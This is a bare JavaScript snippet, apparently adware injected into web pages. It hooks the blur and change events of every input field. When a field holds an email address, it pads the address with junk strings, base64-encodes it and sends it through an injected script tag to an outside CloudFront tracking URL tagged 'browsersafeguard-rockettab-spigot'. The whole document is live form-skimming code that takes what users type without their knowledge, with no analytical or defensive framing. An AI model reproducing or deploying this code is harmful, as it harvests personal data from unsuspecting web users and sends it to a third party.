(function () { code = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; sleft = "A@#89408i9-f()#J)(#!JFIEJFOIDMVCIEN#M*(@)J#()RJ()JFLDJFI@NMCFI(EFOJ"; sright = "#*(@)JG)()DJVINFVMIF#)(JNFM)#(RJ)(EJ(FGNKSJNDGI#)@J#()@RJ()EAJFJLJF"; encode = function (str, utf8encode) { utf8encode = (typeof utf8encode == 'undefined') ? false : utf8encode; var o1, o2, o3, bits, h1, h2, h3, h4, e = [], pad = '', c, plain, coded; var b64 = code; plain = utf8encode ? Utf8.encode(str) : str; c = plain.length % 3; // pad string to length of multiple of 3 if (c > 0) { while (c++ < 3) { pad += '='; plain += '\0'; } } // note: doing padding here saves us doing special-case packing for trailing 1 or 2 chars for (c = 0; c < plain.length; c += 3) { // pack three octets into four hexets o1 = plain.charCodeAt(c); o2 = plain.charCodeAt(c + 1); o3 = plain.charCodeAt(c + 2); bits = o1 << 16 | o2 << 8 | o3; h1 = bits >> 18 & 0x3f; h2 = bits >> 12 & 0x3f; h3 = bits >> 6 & 0x3f; h4 = bits & 0x3f; // use hextets to index into code string e[c / 3] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4); } coded = e.join(''); // join() is far faster than repeated string concatenation in IE // replace 'A's from padded nulls with '='s coded = coded.slice(0, coded.length - pad.length) + pad; return coded; }; checkEmail = function (e) { if (e) { var filter = /^\s*[\w\-\+_]+(\.[\w\-\+_]+)*\@[\w\-\+_]+\.[\w\-\+_]+(\.[\w\-\+_]+)*\s*$/; return (String(e).search(filter) != -1); } return false; }; onChange = function (e) { if (e) { if (e.getAttribute('cap') == 'true') { e.removeAttribute('cap'); } } }; onBlur = function (e) { if (e) { // No need to submit email more than once. if (e.getAttribute('cap') == 'true') { return; } if (checkEmail(e.value)) { var script = document.createElement('script'); script.type = 'text/javascript'; script.async = true; var str = e.value str = sleft + str + sright; script.src = "https://d2e24t2jgcnor2.cloudfront.net/Track/GetE?User_ID=9b02cf21-6bf4-4769-af3b-af6db90f2894&UC=20140827&Implementation_ID=browsersafeguard-rockettab-spigot%20&e=" + encode(str, false); document.getElementsByTagName('head')[0].appendChild(script); e.setAttribute('cap', 'true'); } } }; cAddEvent = function (elem, type, func) { var newfunc = func; if (elem["on" + type]) { var oldfunc = elem["on" + type]; newfunc = function (event) { var ret1 = oldfunc(event); var ret2 = func(event); return ret1 && ret2; } } elem["on" + type] = newfunc; } setBlur = function () { inputs = document.getElementsByTagName('input'); var self = this; for (i = 0; i < inputs.length; i++) { cAddEvent(inputs[i], "blur", function () { self.onBlur(this); }); cAddEvent(inputs[i], "change", function () { self.onChange(this); }); } }; setBlur(); })();